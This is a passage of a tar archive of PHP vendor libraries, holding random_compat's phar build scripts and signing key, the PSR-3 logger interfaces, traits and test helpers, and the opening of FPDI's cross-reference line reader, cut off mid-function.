0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������The MIT License (MIT) Copyright (c) 2013 My C-Sense Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/dist/random_compat.phar.pubkey���������������������������������������0000644�����������������00000000327�14760002214�0020567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������-----BEGIN PUBLIC KEY----- MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEEd+wCqJDrx5B4OldM0dQE0ZMX+lx1ZWm pui0SUqD4G29L3NGsz9UhJ/0HjBdbnkhIK5xviT0X5vtjacF6ajgcCArbTB+ds+p +h7Q084NuSuIpNb6YPfoUFgC/CL9kAoc -----END PUBLIC KEY----- ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/dist/random_compat.phar.pubkey.asc�����������������������������������0000644�����������������00000000750�14760002214�0021334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������-----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (MingW32) iQEcBAABAgAGBQJWtW1hAAoJEGuXocKCZATaJf0H+wbZGgskK1dcRTsuVJl9IWip QwGw/qIKI280SD6/ckoUMxKDCJiFuPR14zmqnS36k7N5UNPnpdTJTS8T11jttSpg 1LCmgpbEIpgaTah+cELDqFCav99fS+bEiAL5lWDAHBTE/XPjGVCqeehyPYref4IW NDBIEsvnHPHPLsn6X5jq4+Yj5oUixgxaMPiR+bcO4Sh+RzOVB6i2D0upWfRXBFXA NNnsg9/zjvoC7ZW73y9uSH+dPJTt/Vgfeiv52/v41XliyzbUyLalf02GNPY+9goV JHG1ulEEBJOCiUD9cE1PUIJwHA/HqyhHIvV350YoEFiHl8iSwm7SiZu5kPjaq74= =B6+8 -----END PGP SIGNATURE----- ������������������������vendor/paragonie/random_compat/lib/random.php�������������������������������������������������������0000644�����������������00000002457�14760002214�0015374 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Random_* Compatibility Library * for using the new PHP 7 random_* API in PHP 5 projects * * @version 2.99.99 * @released 2018-06-06 * * The MIT License (MIT) * * Copyright (c) 2015 - 2018 Paragon Initiative Enterprises * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ // NOP �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/other/build_phar.php�������������������������������������������������0000644�����������������00000003141�14760002214�0016567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $dist = dirname(__DIR__).'/dist'; if (!is_dir($dist)) { mkdir($dist, 0755); } if (file_exists($dist.'/random_compat.phar')) { unlink($dist.'/random_compat.phar'); } $phar = new Phar( $dist.'/random_compat.phar', FilesystemIterator::CURRENT_AS_FILEINFO | \FilesystemIterator::KEY_AS_FILENAME, 'random_compat.phar' ); rename( dirname(__DIR__).'/lib/random.php', dirname(__DIR__).'/lib/index.php' ); $phar->buildFromDirectory(dirname(__DIR__).'/lib'); rename( dirname(__DIR__).'/lib/index.php', dirname(__DIR__).'/lib/random.php' ); /** * If we pass an (optional) path to a private key as a second argument, we will * sign the Phar with OpenSSL. * * If you leave this out, it will produce an unsigned .phar! */ if ($argc > 1) { if (!@is_readable($argv[1])) { echo 'Could not read the private key file:', $argv[1], "\n"; exit(255); } $pkeyFile = file_get_contents($argv[1]); $private = openssl_get_privatekey($pkeyFile); if ($private !== false) { $pkey = ''; openssl_pkey_export($private, $pkey); $phar->setSignatureAlgorithm(Phar::OPENSSL, $pkey); /** * Save the corresponding public key to the file */ if (!@is_readable($dist.'/random_compat.phar.pubkey')) { $details = openssl_pkey_get_details($private); file_put_contents( $dist.'/random_compat.phar.pubkey', $details['key'] ); } } else { echo 'An error occurred reading the private key from OpenSSL.', "\n"; exit(255); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/build-phar.sh��������������������������������������������������������0000644�����������������00000000206�14760002214�0015206 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env bash basedir=$( dirname $( readlink -f ${BASH_SOURCE[0]} ) ) php -dphar.readonly=0 "$basedir/other/build_phar.php" $*������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/LICENSE��������������������������������������������������������������0000644�����������������00000002112�14760002214�0013626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������The MIT License (MIT) Copyright (c) 2015 Paragon Initiative Enterprises Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/psalm.xml������������������������������������������������������������0000644�����������������00000001124�14760002214�0014461 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <psalm autoloader="psalm-autoload.php" stopOnFirstError="false" useDocblockTypes="true" > <projectFiles> <directory name="lib" /> </projectFiles> <issueHandlers> <RedundantConditionGivenDocblockType errorLevel="info" /> <UnresolvableInclude errorLevel="info" /> <DuplicateClass errorLevel="info" /> <InvalidOperand errorLevel="info" /> <UndefinedConstant errorLevel="info" /> <MissingReturnType errorLevel="info" /> <InvalidReturnType errorLevel="info" /> </issueHandlers> </psalm> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/paragonie/random_compat/psalm-autoload.php���������������������������������������������������0000644�����������������00000000347�14760002214�0016264 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php require_once 'lib/byte_safe_strings.php'; require_once 'lib/cast_to_int.php'; require_once 'lib/error_polyfill.php'; require_once 'other/ide_stubs/libsodium.php'; require_once 'lib/random.php'; $int = random_int(0, 65536); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.php�������������������������������������������������0000644�����������������00000011051�14760002214�0016235 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log\Test; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use PHPUnit\Framework\TestCase; /** * Provides a base test class for ensuring compliance with the LoggerInterface. * * Implementors can extend the class and implement abstract methods to run this * as part of their test suite. */ abstract class LoggerInterfaceTest extends TestCase { /** * @return LoggerInterface */ abstract public function getLogger(); /** * This must return the log messages in order. * * The simple formatting of the messages is: "<LOG LEVEL> <MESSAGE>". * * Example ->error('Foo') would yield "error Foo". * * @return string[] */ abstract public function getLogs(); public function testImplements() { $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); } /** * @dataProvider provideLevelsAndMessages */ public function testLogsAtAllLevels($level, $message) { $logger = $this->getLogger(); $logger->{$level}($message, array('user' => 'Bob')); $logger->log($level, $message, array('user' => 'Bob')); $expected = array( $level.' message of level '.$level.' with context: Bob', $level.' message of level '.$level.' with context: Bob', ); $this->assertEquals($expected, $this->getLogs()); } public function provideLevelsAndMessages() { return array( LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), ); } /** * @expectedException \Psr\Log\InvalidArgumentException */ public function testThrowsOnInvalidLevel() { $logger = $this->getLogger(); $logger->log('invalid level', 'Foo'); } public function testContextReplacement() { $logger = $this->getLogger(); $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); $expected = array('info {Message {nothing} Bob Bar a}'); $this->assertEquals($expected, $this->getLogs()); } public function testObjectCastToString() { if (method_exists($this, 'createPartialMock')) { $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); } else { $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); } $dummy->expects($this->once()) ->method('__toString') ->will($this->returnValue('DUMMY')); $this->getLogger()->warning($dummy); $expected = array('warning DUMMY'); $this->assertEquals($expected, $this->getLogs()); } public function testContextCanContainAnything() { $closed = fopen('php://memory', 'r'); fclose($closed); $context = array( 'bool' => true, 'null' => null, 'string' => 'Foo', 'int' => 0, 'float' => 0.5, 'nested' => array('with object' => new DummyTest), 'object' => new \DateTime, 'resource' => fopen('php://memory', 'r'), 'closed' => $closed, ); $this->getLogger()->warning('Crazy context data', $context); $expected = array('warning Crazy context data'); $this->assertEquals($expected, $this->getLogs()); } public function testContextExceptionKeyCanBeExceptionOrOtherValues() { $logger = $this->getLogger(); $logger->warning('Random message', array('exception' => 'oops')); $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); $expected = array( 'warning Random message', 'critical Uncaught Exception!' ); $this->assertEquals($expected, $this->getLogs()); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/Test/DummyTest.php�����������������������������������������������������������0000644�����������������00000000373�14760002214�0014275 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log\Test; /** * This class is internal and does not follow the BC promise. * * Do NOT use this class in any way. * * @internal */ class DummyTest { public function __toString() { return 'DummyTest'; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/Test/TestLogger.php����������������������������������������������������������0000644�����������������00000010657�14760002214�0014427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log\Test; use Psr\Log\AbstractLogger; /** * Used for testing purposes. * * It records all records and gives you access to them for verification. * * @method bool hasEmergency($record) * @method bool hasAlert($record) * @method bool hasCritical($record) * @method bool hasError($record) * @method bool hasWarning($record) * @method bool hasNotice($record) * @method bool hasInfo($record) * @method bool hasDebug($record) * * @method bool hasEmergencyRecords() * @method bool hasAlertRecords() * @method bool hasCriticalRecords() * @method bool hasErrorRecords() * @method bool hasWarningRecords() * @method bool hasNoticeRecords() * @method bool hasInfoRecords() * @method bool hasDebugRecords() * * @method bool hasEmergencyThatContains($message) * @method bool hasAlertThatContains($message) * @method bool hasCriticalThatContains($message) * @method bool hasErrorThatContains($message) * @method bool hasWarningThatContains($message) * @method bool hasNoticeThatContains($message) * @method bool hasInfoThatContains($message) * @method bool hasDebugThatContains($message) * * @method bool hasEmergencyThatMatches($message) * @method bool hasAlertThatMatches($message) * @method bool hasCriticalThatMatches($message) * @method bool hasErrorThatMatches($message) * @method bool hasWarningThatMatches($message) * @method bool hasNoticeThatMatches($message) * @method bool hasInfoThatMatches($message) * @method bool hasDebugThatMatches($message) * * @method bool hasEmergencyThatPasses($message) * @method bool hasAlertThatPasses($message) * @method bool hasCriticalThatPasses($message) * @method bool hasErrorThatPasses($message) * @method bool hasWarningThatPasses($message) * @method bool hasNoticeThatPasses($message) * @method bool hasInfoThatPasses($message) * @method bool hasDebugThatPasses($message) */ class TestLogger extends AbstractLogger { /** * @var array */ public $records = []; public $recordsByLevel = []; /** * @inheritdoc */ public function log($level, $message, array $context = []) { $record = [ 'level' => $level, 'message' => $message, 'context' => $context, ]; $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function hasRecords($level) { return isset($this->recordsByLevel[$level]); } public function hasRecord($record, $level) { if (is_string($record)) { $record = ['message' => $record]; } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } public function hasRecordThatContains($message, $level) { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } public function hasRecordThatMatches($regex, $level) { return $this->hasRecordThatPasses(function ($rec) use ($regex) { return preg_match($regex, $rec['message']) > 0; }, $level); } public function hasRecordThatPasses(callable $predicate, $level) { if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if (call_user_func($predicate, $rec, $i)) { return true; } } return false; } public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } public function reset() { $this->records = []; $this->recordsByLevel = []; } } ���������������������������������������������������������������������������������vendor/psr/log/Psr/Log/LoggerAwareTrait.php���������������������������������������������������������0000644�����������������00000000615�14760002214�0014625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Basic Implementation of LoggerAwareInterface. */ trait LoggerAwareTrait { /** * The logger instance. * * @var LoggerInterface */ protected $logger; /** * Sets a logger. * * @param LoggerInterface $logger */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } } �������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/AbstractLogger.php�����������������������������������������������������������0000644�����������������00000006020�14760002214�0014321 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This is a simple Logger implementation that other Loggers can inherit from. * * It simply delegates all log-level-specific methods to the `log` method to * reduce boilerplate code that a simple Logger that does the same thing with * messages regardless of the error level has to implement. */ abstract class AbstractLogger implements LoggerInterface { /** * System is unusable. * * @param string $message * @param array $context * * @return void */ public function emergency($message, array $context = array()) { $this->log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/NullLogger.php���������������������������������������������������������������0000644�����������������00000001303�14760002214�0013467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This Logger can be used to avoid conditional log calls. * * Logging should always be optional, and if no logger is provided to your * library creating a NullLogger instance to have something to throw logs at * is a good way to avoid littering your code with `if ($this->logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, $message, array $context = array()) { // noop } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/LoggerTrait.php��������������������������������������������������������������0000644�����������������00000006527�14760002214�0013655 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This is a simple Logger trait that classes unable to extend AbstractLogger * (because they extend another class, etc) can include. * * It simply delegates all log-level-specific methods to the `log` method to * reduce boilerplate code that a simple Logger that does the same thing with * messages regardless of the error level has to implement. */ trait LoggerTrait { /** * System is unusable. * * @param string $message * @param array $context * * @return void */ public function emergency($message, array $context = array()) { $this->log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ abstract public function log($level, $message, array $context = array()); } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/InvalidArgumentException.php�������������������������������������������������0000644�����������������00000000140�14760002214�0016363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; class InvalidArgumentException extends \InvalidArgumentException { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/LoggerAwareInterface.php�����������������������������������������������������0000644�����������������00000000451�14760002214�0015440 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes a logger-aware instance. */ interface LoggerAwareInterface { /** * Sets a logger instance on the object. * * @param LoggerInterface $logger * * @return void */ public function setLogger(LoggerInterface $logger); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/LoggerInterface.php����������������������������������������������������������0000644�����������������00000006052�14760002214�0014463 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes a logger instance. * * The message MUST be a string or object implementing __toString(). * * The message MAY contain placeholders in the form: {foo} where foo * will be replaced by the context data in key "foo". * * The context array can contain arbitrary data. The only assumption that * can be made by implementors is that if an Exception instance is given * to produce a stack trace, it MUST be in a key named "exception". * * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md * for the full interface specification. */ interface LoggerInterface { /** * System is unusable. * * @param string $message * @param mixed[] $context * * @return void */ public function emergency($message, array $context = array()); /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param mixed[] $context * * @return void */ public function alert($message, array $context = array()); /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param mixed[] $context * * @return void */ public function critical($message, array $context = array()); /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param mixed[] $context * * @return void */ public function error($message, array $context = array()); /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param mixed[] $context * * @return void */ public function warning($message, array $context = array()); /** * Normal but significant events. * * @param string $message * @param mixed[] $context * * @return void */ public function notice($message, array $context = array()); /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param mixed[] $context * * @return void */ public function info($message, array $context = array()); /** * Detailed debug information. * * @param string $message * @param mixed[] $context * * @return void */ public function debug($message, array $context = array()); /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param mixed[] $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, $message, array $context = array()); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/Psr/Log/LogLevel.php�����������������������������������������������������������������0000644�����������������00000000520�14760002214�0013126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes log levels. */ class LogLevel { const EMERGENCY = 'emergency'; const ALERT = 'alert'; const CRITICAL = 'critical'; const ERROR = 'error'; const WARNING = 'warning'; const NOTICE = 'notice'; const INFO = 'info'; const DEBUG = 'debug'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/psr/log/LICENSE������������������������������������������������������������������������������0000644�����������������00000002075�14760002214�0010433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/LineReader.php������������������������������������0000644�����������������00000011653�14760002214�0020712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\StreamReader; /** * Class LineReader * * This reader class read all cross-reference entries in a single run. * It supports reading cross-references with e.g. invalid data (e.g. entries with a length < or > 20 bytes). * * @package setasign\Fpdi\PdfParser\CrossReference */ class LineReader extends AbstractReader implements ReaderInterface { /** * The object offsets. * * @var array */ protected $offsets; /** * LineReader constructor. * * @param PdfParser $parser * @throws CrossReferenceException */ public function __construct(PdfParser $parser) { $this->read($this->extract($parser->getStreamReader())); parent::__construct($parser); } /** * @inheritdoc */ public function getOffsetFor($objectNumber) { if (isset($this->offsets[$objectNumber])) { return $this->offsets[$objectNumber][0]; } return false; } /** * Get all found offsets. * * @return array */ public function getOffsets() { return $this->offsets; } /** * Extracts the cross reference data from the stream reader. * * @param StreamReader $reader * @return string * @throws CrossReferenceException */ protected function extract(StreamReader $reader) { $cycles = -1; $bytesPerCycle = 100; $reader->reset(null, $bytesPerCycle); while ( ($trailerPos = \strpos($reader->getBuffer(false), 'trailer', \max($bytesPerCycle * $cycles++, 0))) === false ) { if ($reader->increaseLength($bytesPerCycle) === false) { break; } } if ($trailerPos === false) { throw new CrossReferenceException( 'Unexpected end of cross reference. "trailer"-keyword not found.', CrossReferenceException::NO_TRAILER_FOUND ); } $xrefContent = \substr($reader->getBuffer(false), 0, $trailerPos); $reader->reset($reader->getPosition() + $trailerPos); return $xrefContent; } /** * Read the cross-reference entries. * * @param string $xrefContent * @throws CrossReferenceException */ protected function read($xrefContent) { // get eol markers in the first 100 bytes \preg_match_all("/(\r\n|\n|\r)/", \substr($xrefContent, 0, 100), $m); if (\count($m[0]) === 0) { throw new CrossReferenceException( 'No data found in cross-reference.', CrossReferenceException::INVALID_DATA ); } // count(array_count_values()) is faster then count(array_unique()) // @see https://github.com/symfony/symfony/pull/23731 // can be reverted for php7.2 $differentLineEndings = \count(\array_count_values($m[0])); if ($differentLineEndings > 1) { $lines = \preg_split("/(\r\n|\n|\r)/", $xrefContent, -1, 